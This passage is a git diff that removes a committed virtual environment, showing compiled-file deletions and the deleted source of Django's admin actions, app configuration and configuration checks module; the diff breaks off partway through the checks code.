d5a17292..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/filters.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/forms.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/forms.cpython-311.pyc deleted file mode 100644 index c26dcae9..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/forms.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/helpers.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/helpers.cpython-311.pyc deleted file mode 100644 index 3ae0621e..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/helpers.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/models.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/models.cpython-311.pyc deleted file mode 100644 index 3e2542c4..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/models.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/options.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/options.cpython-311.pyc deleted file mode 100644 index 85300af3..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/options.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/sites.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/sites.cpython-311.pyc deleted file mode 100644 index fcd0970e..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/sites.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/tests.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/tests.cpython-311.pyc deleted file mode 100644 index e5729695..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/tests.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/utils.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/utils.cpython-311.pyc deleted file mode 100644 index 733c90ab..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/utils.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/widgets.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/widgets.cpython-311.pyc deleted file mode 100644 index 54636669..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/widgets.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/actions.py b/backend/venv/Lib/site-packages/django/contrib/admin/actions.py deleted file mode 100644 index 865c16af..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/actions.py +++ /dev/null @@ -1,94 +0,0 @@ -""" -Built-in, globally-available admin actions. -""" - -from django.contrib import messages -from django.contrib.admin import helpers -from django.contrib.admin.decorators import action -from django.contrib.admin.utils import model_ngettext -from django.core.exceptions import PermissionDenied -from django.template.response import TemplateResponse -from django.utils.translation import gettext as _ -from django.utils.translation import gettext_lazy - - -@action( - permissions=["delete"], - description=gettext_lazy("Delete selected %(verbose_name_plural)s"), -) -def delete_selected(modeladmin, request, queryset): - """ - Default action which deletes the selected objects. - - This action first displays a confirmation page which shows all the - deletable objects, or, if the user has no permission one of the related - childs (foreignkeys), a "permission denied" message. - - Next, it deletes all selected objects and redirects back to the change list. - """ - opts = modeladmin.model._meta - app_label = opts.app_label - - # Populate deletable_objects, a data structure of all related objects that - # will also be deleted. - ( - deletable_objects, - model_count, - perms_needed, - protected, - ) = modeladmin.get_deleted_objects(queryset, request) - - # The user has already confirmed the deletion. - # Do the deletion and return None to display the change list view again. - if request.POST.get("post") and not protected: - if perms_needed: - raise PermissionDenied - n = len(queryset) - if n: - modeladmin.log_deletions(request, queryset) - modeladmin.delete_queryset(request, queryset) - modeladmin.message_user( - request, - _("Successfully deleted %(count)d %(items)s.") - % {"count": n, "items": model_ngettext(modeladmin.opts, n)}, - messages.SUCCESS, - ) - # Return None to display the change list page again. - return None - - objects_name = model_ngettext(queryset) - - if perms_needed or protected: - title = _("Cannot delete %(name)s") % {"name": objects_name} - else: - title = _("Delete multiple objects") - - context = { - **modeladmin.admin_site.each_context(request), - "title": title, - "subtitle": None, - "objects_name": str(objects_name), - "deletable_objects": [deletable_objects], - "model_count": dict(model_count).items(), - "queryset": queryset, - "perms_lacking": perms_needed, - "protected": protected, - "opts": opts, - "action_checkbox_name": helpers.ACTION_CHECKBOX_NAME, - "media": modeladmin.media, - } - - request.current_app = modeladmin.admin_site.name - - # Display the confirmation page - return TemplateResponse( - request, - modeladmin.delete_selected_confirmation_template - or [ - "admin/%s/%s/delete_selected_confirmation.html" - % (app_label, opts.model_name), - "admin/%s/delete_selected_confirmation.html" % app_label, - "admin/delete_selected_confirmation.html", - ], - context, - ) diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/apps.py b/backend/venv/Lib/site-packages/django/contrib/admin/apps.py deleted file mode 100644 index 08a9e0d8..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/apps.py +++ /dev/null @@ -1,27 +0,0 @@ -from django.apps import AppConfig -from django.contrib.admin.checks import check_admin_app, check_dependencies -from django.core import checks -from django.utils.translation import gettext_lazy as _ - - -class SimpleAdminConfig(AppConfig): - """Simple AppConfig which does not do automatic discovery.""" - - default_auto_field = "django.db.models.AutoField" - default_site = "django.contrib.admin.sites.AdminSite" - name = "django.contrib.admin" - verbose_name = _("Administration") - - def ready(self): - checks.register(check_dependencies, checks.Tags.admin) - checks.register(check_admin_app, checks.Tags.admin) - - -class AdminConfig(SimpleAdminConfig): - """The default AppConfig for admin which does autodiscovery.""" - - default = True - - def ready(self): - super().ready() - self.module.autodiscover() diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/checks.py b/backend/venv/Lib/site-packages/django/contrib/admin/checks.py deleted file mode 100644 index a4d7066d..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/checks.py +++ /dev/null @@ -1,1359 +0,0 @@ -import collections -from itertools import chain - -from django.apps import apps -from django.conf import settings -from django.contrib.admin.exceptions import NotRegistered -from django.contrib.admin.utils import NotRelationField, flatten, get_fields_from_path -from django.core import checks -from django.core.exceptions import FieldDoesNotExist -from django.db import models -from django.db.models.constants import LOOKUP_SEP -from django.db.models.expressions import Combinable -from django.forms.models import BaseModelForm, BaseModelFormSet, _get_foreign_key -from django.template import engines -from django.template.backends.django import DjangoTemplates -from django.utils.module_loading import import_string - - -def _issubclass(cls, classinfo): - """ - issubclass() variant that doesn't raise an exception if cls isn't a - class. - """ - try: - return issubclass(cls, classinfo) - except TypeError: - return False - - -def _contains_subclass(class_path, candidate_paths): - """ - Return whether or not a dotted class path (or a subclass of that class) is - found in a list of candidate paths. - """ - cls = import_string(class_path) - for path in candidate_paths: - try: - candidate_cls = import_string(path) - except ImportError: - # ImportErrors are raised elsewhere. - continue - if _issubclass(candidate_cls, cls): - return True - return False - - -def check_admin_app(app_configs, **kwargs): - from django.contrib.admin.sites import all_sites - - errors = [] - for site in all_sites: - errors.extend(site.check(app_configs)) - return errors - - -def check_dependencies(**kwargs): - """ - Check that the admin's dependencies are correctly installed. - """ - from django.contrib.admin.sites import all_sites - - if not apps.is_installed("django.contrib.admin"): - return [] - errors = [] - app_dependencies = ( - ("django.contrib.contenttypes", 401), - ("django.contrib.auth", 405), - ("django.contrib.messages", 406), - ) - for app_name, error_code in app_dependencies: - if not apps.is_installed(app_name): - errors.append( - checks.Error( - "'%s' must be in INSTALLED_APPS in order to use the admin " - "application." % app_name, - id="admin.E%d" % error_code, - ) - ) - for engine in engines.all(): - if isinstance(engine, DjangoTemplates): - django_templates_instance = engine.engine - break - else: - django_templates_instance = None - if not django_templates_instance: - errors.append( - checks.Error( - "A 'django.template.backends.django.DjangoTemplates' instance " - "must be configured in TEMPLATES in order to use the admin " - "application.", - id="admin.E403", - ) - ) - else: - if ( - "django.contrib.auth.context_processors.auth" - not in django_templates_instance.context_processors - and _contains_subclass( - "django.contrib.auth.backends.ModelBackend", - settings.AUTHENTICATION_BACKENDS, - ) - ): - errors.append( - checks.Error( - "'django.contrib.auth.context_processors.auth' must be " - "enabled in DjangoTemplates (TEMPLATES) if using the default " - "auth backend in order to use the admin application.", - id="admin.E402", - ) - ) - if ( - "django.contrib.messages.context_processors.messages" - not in django_templates_instance.context_processors - ): - errors.append( - checks.Error( - "'django.contrib.messages.context_processors.messages' must " - "be enabled in DjangoTemplates (TEMPLATES) in order to use " - "the admin application.", - id="admin.E404", - ) - ) - sidebar_enabled = any(site.enable_nav_sidebar for site in all_sites) - if ( - sidebar_enabled - and "django.template.context_processors.request" - not in django_templates_instance.context_processors - ): - errors.append( - checks.Warning( - "'django.template.context_processors.request' must be enabled " - "in DjangoTemplates (TEMPLATES) in order to use the admin " - "navigation sidebar.", - id="admin.W411", - ) - ) - - if not _contains_subclass( - "django.contrib.auth.middleware.AuthenticationMiddleware", settings.MIDDLEWARE - ): - errors.append( - checks.Error( - "'django.contrib.auth.middleware.AuthenticationMiddleware' must " - "be in MIDDLEWARE in order to use the admin application.", - id="admin.E408", - ) - ) - if not _contains_subclass( - "django.contrib.messages.middleware.MessageMiddleware", settings.MIDDLEWARE - ): - errors.append( - checks.Error( - "'django.contrib.messages.middleware.MessageMiddleware' must " - "be in MIDDLEWARE in order to use the admin application.", - id="admin.E409", - ) - ) - if not _contains_subclass( - "django.contrib.sessions.middleware.SessionMiddleware", settings.MIDDLEWARE - ): - errors.append( - checks.Error( - "'django.contrib.sessions.middleware.SessionMiddleware' must " - "be in MIDDLEWARE in order to use the admin application.", - hint=( - "Insert " - "'django.contrib.sessions.middleware.SessionMiddleware' " - "before " - "'django.contrib.auth.middleware.AuthenticationMiddleware'." - ), - id="admin.E410", - ) - ) - return errors - - -class BaseModelAdminChecks: - def check(self, admin_obj, **kwargs): - return [ - *self._check_autocomplete_fields(admin_obj), - *self._check_raw_id_fields(admin_obj), - *self._check_fields(admin_obj), - *self._check_fieldsets(admin_obj), - *self._check_exclude(admin_obj), - *self._check_form(admin_obj), - *self._check_filter_vertical(admin_obj), - *self._check_filter_horizontal(admin_obj), - *self._check_radio_fields(admin_obj), - *self._check_prepopulated_fields(admin_obj), - *self._check_view_on_site_url(admin_obj), - *self._check_ordering(admin_obj), - *self._check_readonly_fields(admin_obj), - ] - - def _check_autocomplete_fields(self, obj): - """ - Check that `autocomplete_fields` is a list or tuple of model fields. - """ - if not isinstance(obj.autocomplete_fields, (list, tuple)): - return must_be( - "a list or tuple", - option="autocomplete_fields", - obj=obj, - id="admin.E036", - ) - else: - return list( - chain.from_iterable( - [ - self._check_autocomplete_fields_item( - obj, field_name, "autocomplete_fields[%d]" % index - ) - for index, field_name in enumerate(obj.autocomplete_fields) - ] - ) - ) - - def _check_autocomplete_fields_item(self, obj, field_name, label): - """ - Check that an item in `autocomplete_fields` is a ForeignKey or a - ManyToManyField and that the item has a related ModelAdmin with - search_fields defined. - """ - try: - field = obj.model._meta.get_field(field_name) - except FieldDoesNotExist: - return refer_to_missing_field( - field=field_name, option=label, obj=obj, id="admin.E037" - ) - else: - if not field.many_to_many and not isinstance(field, models.ForeignKey): - return must_be( - "a foreign key or a many-to-many field", - option=label, - obj=obj, - id="admin.E038", - ) - try: - related_admin = obj.admin_site.get_model_admin(field.remote_field.model) - except NotRegistered: - return [ - checks.Error( - 'An admin for model "%s" has to be registered ' - "to be referenced by %s.autocomplete_fields." - % ( - field.remote_field.model.__name__, - type(obj).__name__, - ), - obj=obj.__class__, - id="admin.E039", - ) - ] - else: - if not related_admin.search_fields: - return [ - checks.Error( - '%s must define "search_fields", because it\'s ' - "referenced by %s.autocomplete_fields." - % ( - related_admin.__class__.__name__, - type(obj).__name__, - ), - obj=obj.__class__, - id="admin.E040", - ) - ] - return [] - - def _check_raw_id_fields(self, obj): - """Check that `raw_id_fields` only contains field names that are listed - on the model.""" - - if not isinstance(obj.raw_id_fields, (list, tuple)): - return must_be( - "a list or tuple", option="raw_id_fields", obj=obj, id="admin.E001" - ) - else: - return list( - chain.from_iterable( - self._check_raw_id_fields_item( - obj, field_name, "raw_id_fields[%d]" % index - ) - for index, field_name in enumerate(obj.raw_id_fields) - ) - ) - - def _check_raw_id_fields_item(self, obj, field_name, label): - """Check an item of `raw_id_fields`, i.e. check that field named - `field_name` exists in model `model` and is a ForeignKey or a - ManyToManyField.""" - - try: - field = obj.model._meta.get_field(field_name) - except FieldDoesNotExist: - return refer_to_missing_field( - field=field_name, option=label, obj=obj, id="admin.E002" - ) - else: - # Using attname is not supported. - if field.name != field_name: - return refer_to_missing_field( - field=field_name, - option=label, - obj=obj, - id="admin.E002", - ) - if not field.many_to_many and not isinstance(field, models.ForeignKey): - return must_be( - "a foreign key or a many-to-many field", - option=label, - obj=obj, - id="admin.E003", - ) - else: - return [] - - def _check_fields(self, obj): - """Check that `fields` only refer to existing fields, doesn't contain - duplicates. Check if at most one of `fields` and `fieldsets` is defined. - """ - - if obj.fields is None: - return [] - elif not isinstance(obj.fields, (list, tuple)): - return must_be("a list or tuple", option="fields", obj=obj, id="admin.E004") - elif obj.fieldsets: - return [ - checks.Error( - "Both 'fieldsets' and 'fields' are specified.", - obj=obj.__class__, - id="admin.E005", - ) - ] - fields = flatten(obj.fields) - if len(fields) != len(set(fields)): - return [ - checks.Error( - "The value of 'fields' contains duplicate field(s).", - obj=obj.__class__, - id="admin.E006", - ) - ] - - return list( - chain.from_iterable( - self._check_field_spec(obj, field_name, "fields") - for field_name in obj.fields - ) - ) - - def _check_fieldsets(self, obj): - """Check that fieldsets is properly formatted and doesn't contain - duplicates.""" - - if obj.fieldsets is None: - return [] - elif not isinstance(obj.fieldsets, (list, tuple)): - return must_be( - "a list or tuple", option="fieldsets", obj=obj, id="admin.E007" - ) - else: - seen_fields = [] - return list( - chain.from_iterable( - self._check_fieldsets_item( - obj, fieldset, "fieldsets[%d]" % index, seen_fields - ) - for index, fieldset in enumerate(obj.fieldsets) - ) - ) - - def _check_fieldsets_item(self, obj, fieldset, label, seen_fields): - """Check an item of `fieldsets`, i.e. check that this is a pair of a - set name and a dictionary containing "fields" key.""" - - if not isinstance(fieldset, (list, tuple)): - return must_be("a list or tuple", option=label, obj=obj, id="admin.E008") - elif len(fieldset) != 2: - return must_be("of length 2", option=label, obj=obj, id="admin.E009") - elif not isinstance(fieldset[1], dict): - return must_be( - "a dictionary", option="%s[1]" % label, obj=obj, id="admin.E010" - ) - elif "fields" not in fieldset[1]: - return [ - checks.Error( - "The value of '%s[1]' must contain the key 'fields'." % label, - obj=obj.__class__, - id="admin.E011", - ) - ] - elif not isinstance(fieldset[1]["fields"], (list, tuple)): - return must_be( - "a list or tuple", - option="%s[1]['fields']" % label, - obj=obj, - id="admin.E008", - ) - - seen_fields.extend(flatten(fieldset[1]["fields"])) - if len(seen_fields) != len(set(seen_fields)): - return [ - checks.Error( - "There are duplicate field(s) in '%s[1]'." % label, - obj=obj.__class__, - id="admin.E012", - ) - ] - return list( - chain.from_iterable( - self._check_field_spec(obj, fieldset_fields, '%s[1]["fields"]' % label) - for fieldset_fields in fieldset[1]["fields"] - ) - ) - - def _check_field_spec(self, obj, fields, label): - """`fields` should be an item of `fields` or an item of - fieldset[1]['fields'] for any `fieldset` in `fieldsets`. It should be a - field name or a tuple of field names.""" - - if isinstance(fields, tuple): - return list( - chain.from_iterable( - self._check_field_spec_item( - obj, field_name, "%s[%d]" % (label, index) - ) - for index, field_name in enumerate(fields) - ) - ) - else: - return self._check_field_spec_item(obj, fields, label) - - def _check_field_spec_item(self, obj, field_name, label): - if field_name in obj.readonly_fields: - # Stuff can be put in fields that isn't actually a model field if - # it's in readonly_fields, readonly_fields will handle the - # validation of such things. - return [] - else: - try: - field = obj.model._meta.get_field(field_name) - except FieldDoesNotExist: - # If we can't find a field on the model that matches, it could - # be an extra field on the form. - return [] - else: - if ( - isinstance(field, models.ManyToManyField) - and not field.remote_field.through._meta.auto_created - ): - return [ - checks.Error( - "The value of '%s' cannot include the ManyToManyField " - "'%s', because that field manually specifies a " - "relationship model." % (label, field_name), - obj=obj.__class__, - id="admin.E013", - ) - ] - else: - return [] - - def _check_exclude(self, obj): - """Check that exclude is a sequence without duplicates.""" - - if obj.exclude is None: # default value is None - return [] - elif not isinstance(obj.exclude, (list, tuple)): - return must_be( - "a list or tuple", option="exclude", obj=obj, id="admin.E014" - ) - elif len(obj.exclude) > len(set(obj.exclude)): - return [ - checks.Error( - "The value of 'exclude' contains duplicate field(s).", - obj=obj.__class__, - id="admin.E015", - ) - ] - else: - return [] - - def _check_form(self, obj): - """Check that form subclasses BaseModelForm.""" - if not _issubclass(obj.form, BaseModelForm): - return must_inherit_from( - parent="BaseModelForm", option="form", obj=obj, id="admin.E016" - ) - else: - return [] - - def _check_filter_vertical(self, obj): - """Check that filter_vertical is a sequence of field names.""" - if not isinstance(obj.filter_vertical, (list, tuple)): - return must_be( - "a list or tuple", option="filter_vertical", obj=obj, id="admin.E017" - ) - else: - return list( - chain.from_iterable( - self._check_filter_item( - obj, field_name, "filter_vertical[%d]" % index - ) - for index, field_name in enumerate(obj.filter_vertical) - ) - ) - - def _check_filter_horizontal(self, obj): - """Check that filter_horizontal is a sequence of field names.""" - if not isinstance(obj.filter_horizontal, (list, tuple)): - return must_be( - "a list or tuple", option="filter_horizontal", obj=obj, id="admin.E018" - ) - else: - return list( - chain.from_iterable( - self._check_filter_item( - obj, field_name, "filter_horizontal[%d]" % index - ) - for index, field_name in enumerate(obj.filter_horizontal) - ) - ) - - def _check_filter_item(self, obj, field_name, label): - """Check one item of `filter_vertical` or `filter_horizontal`, i.e. - check that given field exists and is a ManyToManyField.""" - - try: - field = obj.model._meta.get_field(field_name) - except FieldDoesNotExist: - return refer_to_missing_field( - field=field_name, option=label, obj=obj, id="admin.E019" - ) - else: - if not field.many_to_many or isinstance(field, models.ManyToManyRel): - return must_be( - "a many-to-many field", option=label, obj=obj, id="admin.E020" - ) - elif not field.remote_field.through._meta.auto_created: - return [ - checks.Error( - f"The value of '{label}' cannot include the ManyToManyField " - f"'{field_name}', because that field manually specifies a " - f"relationship model.", - obj=obj.__class__, - id="admin.E013", - ) - ] - else: - return [] - - def _check_radio_fields(self, obj): - """Check that `radio_fields` is a dictionary.""" - if not isinstance(obj.radio_fields, dict): - return must_be( - "a dictionary", option="radio_fields", obj=obj, id="admin.E021" - ) - else: - return list( - chain.from_iterable( - self._check_radio_fields_key(obj, field_name, "radio_fields") - + self._check_radio_fields_value( - obj, val, 'radio_fields["%s"]' % field_name - ) - for field_name, val in obj.radio_fields.items() - ) - ) - - def _check_radio_fields_key(self, obj, field_name, label): - """Check that a key of `radio_fields` dictionary is name of existing - field and that the field is a ForeignKey or has `choices` defined.""" - - try: - field = obj.model._meta.get_field(field_name) - except FieldDoesNotExist: - return refer_to_missing_field( - field=field_name, option=label, obj=obj, id="admin.E022" - ) - else: - if not (isinstance(field, models.ForeignKey) or field.choices): - return [ - checks.Error( - "The value of '%s' refers to '%s', which is not an " - "instance of ForeignKey, and does not have a 'choices' " - "definition." % (label, field_name), - obj=obj.__class__, - id="admin.E023", - ) - ] - else: - return [] - - def _check_radio_fields_value(self, obj, val, label): - """Check type of a value of `radio_fields` dictionary.""" - - from django.contrib.admin.options import HORIZONTAL, VERTICAL - - if val not in (HORIZONTAL, VERTICAL): - return [ - checks.Error( - "The value of '%s' must be either admin.HORIZONTAL or " - "admin.VERTICAL." % label, - obj=obj.__class__, - id="admin.E024", - ) - ] - else: - return [] - - def _check_view_on_site_url(self, obj): - if not callable(obj.view_on_site) and not isinstance(obj.view_on_site, bool): - return [ - checks.Error( - "The value of 'view_on_site' must be a callable or a boolean " - "value.", - obj=obj.__class__, - id="admin.E025", - ) - ] - else: - return [] - - def _check_prepopulated_fields(self, obj): - """Check that `prepopulated_fields` is a dictionary containing allowed - field types.""" - if not isinstance(obj.prepopulated_fields, dict): - return must_be( - "a dictionary", option="prepopulated_fields", obj=obj, id="admin.E026" - ) - else: - return list( - chain.from_iterable( - self._check_prepopulated_fields_key( - obj, field_name, "prepopulated_fields" - ) - + self._check_prepopulated_fields_value( - obj, val, 'prepopulated_fields["%s"]' % field_name - ) - for field_name, val in obj.prepopulated_fields.items() - ) - ) - - def _check_prepopulated_fields_key(self, obj, field_name, label): - """Check a key of `prepopulated_fields` dictionary, i.e. check that it - is a name of existing field and the field is one of the allowed types. - """ - - try: - field = obj.model._meta.get_field(field_name) - except FieldDoesNotExist: - return refer_to_missing_field( - field=field_name, option=label, obj=obj, id="admin.E027" - ) - else: - if isinstance( - field, (models.DateTimeField, models.ForeignKey, models.ManyToManyField) - ): - return [ - checks.Error( - "The value of '%s' refers to '%s', which must not be a " - "DateTimeField, a ForeignKey, a OneToOneField, or a " - "ManyToManyField." % (label, field_name), - obj=obj.__class__, - id="admin.E028", - ) - ] - else: - return [] - - def _check_prepopulated_fields_value(self, obj, val, label): - """Check a value of `prepopulated_fields` dictionary, i.e. it's an - iterable of existing fields.""" - - if not isinstance(val, (list, tuple)): - return must_be("a list or tuple", option=label, obj=obj, id="admin.E029") - else: - return list( - chain.from_iterable( - self._check_prepopulated_fields_value_item( - obj, subfield_name, "%s[%r]" % (label, index) - ) - for index, subfield_name in enumerate(val) - ) - ) - - def _check_prepopulated_fields_value_item(self, obj, field_name, label): - """For `prepopulated_fields` equal to {"slug": ("title",)}, - `field_name` is "title".""" - - try: - obj.model._meta.get_field(field_name) - except FieldDoesNotExist: - return refer_to_missing_field( - field=field_name, option=label, obj=obj, id="admin.E030" - ) - else: - return [] - - def _check_ordering(self, obj): - """Check that ordering refers to existing fields or is random.""" - - # ordering = None - if obj.ordering is None: # The default value is None - return [] - elif not isinstance(obj.ordering, (list, tuple)): - return must_be( - "a list or tuple", option="ordering", obj=obj, id="admin.E031" - ) - else: - return list( - chain.from_iterable( - self._check_ordering_item(obj, field_name, "ordering[%d]" % index) - for index, field_name in enumerate(obj.ordering) - ) - ) - - def _check_ordering_item(self, obj, field_name, label): - """Check that `ordering` refers to existing fields.""" - if isinstance(field_name, (Combinable, models.OrderBy)): - if not isinstance(field_name, models.OrderBy): - field_name = field_name.asc() - if isinstance(field_name.expression, models.F): - field_name = field_name.expression.name - else: - return [] - if field_name == "?" and len(obj.ordering) != 1: - return [ - checks.Error( - "The value of 'ordering' has the random ordering marker '?', " - "but contains other fields as well.", - hint='Either remove the "?", or remove the other fields.', - obj=obj.__class__, - id="admin.E032", - ) - ] - elif field_name == "?": - return [] - elif LOOKUP_SEP in field_name: - # Skip ordering in the format field1__field2 (FIXME: checking - # this format would be nice, but it's a little fiddly). - return [] - else: - field_name = field_name.removeprefix("-") - if field_name == "pk": - return [] - try: - obj.model._meta.get_field(field_name) - except FieldDoesNotExist: - return refer_to_missing_field( - field=field_name, option=label, obj=obj, id="admin.E033" - ) - else: - return [] - - def _check_readonly_fields(self, obj): - """Check that readonly_fields refers to proper attribute or field.""" - - if obj.readonly_fields == (): - return [] - elif not isinstance(obj.readonly_fields, (list, tuple)): - return must_be( - "a list or tuple", option="readonly_fields", obj=obj, id="admin.E034" - ) - else: - return list( - chain.from_iterable( - self._check_readonly_fields_item( - obj, field_name, "readonly_fields[%d]" % index - ) - for index, field_name in enumerate(obj.readonly_fields) - ) - ) - - def _check_readonly_fields_item(self, obj, field_name, label): - if callable(field_name): - return [] - elif hasattr(obj, field_name): - return [] - elif hasattr(obj.model, field_name): - return [] - else: - try: - obj.model._meta.get_field(field_name) - except FieldDoesNotExist: - return [ - checks.Error( - "The value of '%s' refers to '%s', which is not a callable, " - "an attribute of '%s', or an attribute of '%s'." - % ( - label, - field_name, - obj.__class__.__name__, - obj.model._meta.label, - ), - obj=obj.__class__, - id="admin.E035", - ) - ] - else: - return [] - - -class ModelAdminChecks(BaseModelAdminChecks): - def check(self, admin_obj, **kwargs): - return [ - *super().check(admin_obj), - *self._check_save_as(admin_obj), - *self._check_save_on_top(admin_obj), - *self._check_inlines(admin_obj), - *self._check_list_display(admin_obj), - *self._check_list_display_links(admin_obj), - *self._check_list_filter(admin_obj), - *self._check_list_select_related(admin_obj), - *self._check_list_per_page(admin_obj), - *self._check_list_max_show_all(admin_obj), - *self._check_list_editable(admin_obj), - *self._check_search_fields(admin_obj), - *self._check_date_hierarchy(admin_obj), - *self._check_actions(admin_obj), - ] - - def _check_save_as(self, obj): - """Check save_as is a boolean.""" - - if not isinstance(obj.save_as, bool): - return must_be("a boolean", option="save_as", obj=obj, id="admin.E101") - else: - return [] - - def _check_save_on_top(self, obj): - """Check save_on_top is a boolean.""" - - if not isinstance(obj.save_on_top, bool): - return must_be("a boolean", option="save_on_top", obj=obj, id="admin.E102") - else: - return [] - - def _check_inlines(self, obj): - """Check all inline model admin classes.""" - - if not isinstance(obj.inlines, (list, tuple)): - return must_be( - "a list or tuple", option="inlines", obj=obj, id="admin.E103" - ) - else: - return list( - chain.from_iterable( - self._check_inlines_item(obj, item, "inlines[%d]" % index) - for index, item in enumerate(obj.inlines) - ) - ) - - def _check_inlines_item(self, obj, inline, label): - """Check one inline model admin.""" - try: - inline_label = inline.__module__ + "." + inline.__name__ - except AttributeError: - return [ - checks.Error( - "'%s' must inherit from 'InlineModelAdmin'." % obj, - obj=obj.__class__, - id="admin.E104", - ) - ] - - from django.contrib.admin.options import InlineModelAdmin - - if not _issubclass(inline, InlineModelAdmin): - return [ - checks.Error( - "'%s' must inherit from 'InlineModelAdmin'." % inline_label, - obj=obj.__class__, - id="admin.E104", - ) - ] - elif not inline.model: - return [ - checks.Error( - "'%s' must have a 'model' attribute." % inline_label, - obj=obj.__class__, - id="admin.E105", - ) - ] - elif not _issubclass(inline.model, models.Model): - return must_be( - "a Model", option="%s.model" % inline_label, obj=obj, id="admin.E106" - ) - else: - return inline(obj.model, obj.admin_site).check() - - def _check_list_display(self, obj): - """Check that list_display only contains fields or usable attributes.""" - - if not isinstance(obj.list_display, (list, tuple)): - return must_be( - "a list or tuple", option="list_display", obj=obj, id="admin.E107" - ) - else: - return list( - chain.from_iterable( - self._check_list_display_item(obj, item, "list_display[%d]" % index) - for index, item in enumerate(obj.list_display) - ) - ) - - def _check_list_display_item(self, obj, item, label): - if callable(item): - return [] - elif hasattr(obj, item): - return [] - try: - field = obj.model._meta.get_field(item) - except FieldDoesNotExist: - try: - field = getattr(obj.model, item) - except AttributeError: - try: - field = get_fields_from_path(obj.model, item)[-1] - except (FieldDoesNotExist, NotRelationField): - return [ - checks.Error( - f"The value of '{label}' refers to '{item}', which is not " - f"a callable or attribute of '{obj.__class__.__name__}', " - "or an attribute, method, or field on " - f"'{obj.model._meta.label}'.", - obj=obj.__class__, - id="admin.E108", - ) - ] - if ( - getattr(field, "is_relation", False) - and (field.many_to_many or field.one_to_many) - ) or (getattr(field, "rel", None) and field.rel.field.many_to_one): - return [ - checks.Error( - f"The value of '{label}' must not be a many-to-many field or a " - f"reverse foreign key.", - obj=obj.__class__, - id="admin.E109", - ) - ] - return [] - - def _check_list_display_links(self, obj): - """Check that list_display_links is a unique subset of list_display.""" - from django.contrib.admin.options import ModelAdmin - - if obj.list_display_links is None: - return [] - elif not isinstance(obj.list_display_links, (list, tuple)): - return must_be( - "a list, a tuple, or None", - option="list_display_links", - obj=obj, - id="admin.E110", - ) - # Check only if ModelAdmin.get_list_display() isn't overridden. - elif obj.get_list_display.__func__ is ModelAdmin.get_list_display: - return list( - chain.from_iterable( - self._check_list_display_links_item( - obj, field_name, "list_display_links[%d]" % index - ) - for index, field_name in enumerate(obj.list_display_links) - ) - ) - return [] - - def _check_list_display_links_item(self, obj, field_name, label): - if field_name not in obj.list_display: - return [ - checks.Error( - "The value of '%s' refers to '%s', which is not defined in " - "'list_display'." % (label, field_name), - obj=obj.__class__, - id="admin.E111", - ) - ] - else: - return [] - - def _check_list_filter(self, obj): - if not isinstance(obj.list_filter, (list, tuple)): - return must_be( - "a list or tuple", option="list_filter", obj=obj, id="admin.E112" - ) - else: - return list( - chain.from_iterable( - self._check_list_filter_item(obj, item, "list_filter[%d]" % index) - for index, item in enumerate(obj.list_filter) - ) - ) - - def _check_list_filter_item(self, obj, item, label): - """ - Check one item of `list_filter`, i.e. check if it is one of three options: - 1. 'field' -- a basic field filter, possibly w/ relationships (e.g. - 'field__rel') - 2. ('field', SomeFieldListFilter) - a field-based list filter class - 3. SomeListFilter - a non-field list filter class - """ - from django.contrib.admin import FieldListFilter, ListFilter - - if callable(item) and not isinstance(item, models.Field): - # If item is option 3, it should be a ListFilter... - if not _issubclass(item, ListFilter): - return must_inherit_from( - parent="ListFilter", option=label, obj=obj, id="admin.E113" - ) - # ... but not a FieldListFilter. - elif issubclass(item, FieldListFilter): - return [ - checks.Error( - "The value of '%s' must not inherit from 'FieldListFilter'." - % label, - obj=obj.__class__, - id="admin.E114", - ) - ] - else: - return [] - elif isinstance(item, (tuple, list)): - # item is option #2 - field, list_filter_class = item - if not _issubclass(list_filter_class, FieldListFilter): - return must_inherit_from( - parent="FieldListFilter", - option="%s[1]" % label, - obj=obj, - id="admin.E115", - ) - else: - return [] - else: - # item is option #1 - field = item - - # Validate the field string - try: - get_fields_from_path(obj.model, field) - except (NotRelationField, FieldDoesNotExist): - return [ - checks.Error( - "The value of '%s' refers to '%s', which does not refer to a " - "Field." % (label, field), - obj=obj.__class__, - id="admin.E116", - ) - ] - 